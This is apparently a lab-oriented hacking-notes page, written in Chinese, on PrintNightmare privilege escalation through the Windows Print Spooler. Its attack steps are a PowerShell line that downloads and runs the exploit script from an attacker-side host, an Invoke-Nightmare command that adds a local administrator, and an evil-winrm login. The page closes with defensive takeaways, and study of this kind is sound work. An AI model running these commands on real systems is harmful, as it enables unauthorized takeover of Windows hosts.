> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md).

# 打印后台处理程序 - PrintNightmare

`spoolsv.exe` 是 Windows 打印后台处理程序服务。当目标存在漏洞时，类似 PrintNightmare 的利用方式可能允许本地或远程提权，具体取决于 Windows 版本、补丁级别和服务暴露情况。

## 检测

将处于活动状态或暴露的 Print Spooler 服务与确切的 Windows 版本和已安装补丁进行关联分析。

<figure><img src="/files/1bf9f7e81eab8fedc37400b9eed0de2b54e583e1" alt="Windows Print Spooler service identified"><figcaption></figcaption></figure>

## 实验室利用

{% embed url="<https://github.com/calebstewart/CVE-2021-1675>" %}

<figure><img src="/files/471de1ad11ad67dde68fc6802f99fb936a6c8ebe" alt="PrintNightmare exploit repository"><figcaption></figcaption></figure>

加载脚本：

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1')
```

在实验室中创建一个本地管理员用户：

```powershell
Invoke-Nightmare -DriverName "Xerox" -NewUser "lab-admin" -NewPassword "Use-A-Strong-Temporary-Password!"
```

<figure><img src="/files/1330811a89441089c0a65f781a015d2cca332231" alt="Invoke-Nightmare creating a local administrator user"><figcaption></figcaption></figure>

<figure><img src="/files/f359c6cdbfa578c1dc2ffafba2745be4dce77361" alt="New administrative user validation"><figcaption></figcaption></figure>

## 连接

```bash
evil-winrm -i 10.10.11.106 -u 'lab-admin' -p 'Use-A-Strong-Temporary-Password!'
```

<figure><img src="/files/655ff0aea38b192f828da92f635cc15c2aecd515" alt="Evil-WinRM connection with the created administrator account"><figcaption></figcaption></figure>

## 关键要点

* 通过版本和补丁验证来确认漏洞。
* 在不需要的地方禁用 Print Spooler，尤其是在敏感服务器上。
* 监控本地管理员账户的突然创建以及可疑的打印机驱动操作。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/print-spooler-printnightmare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
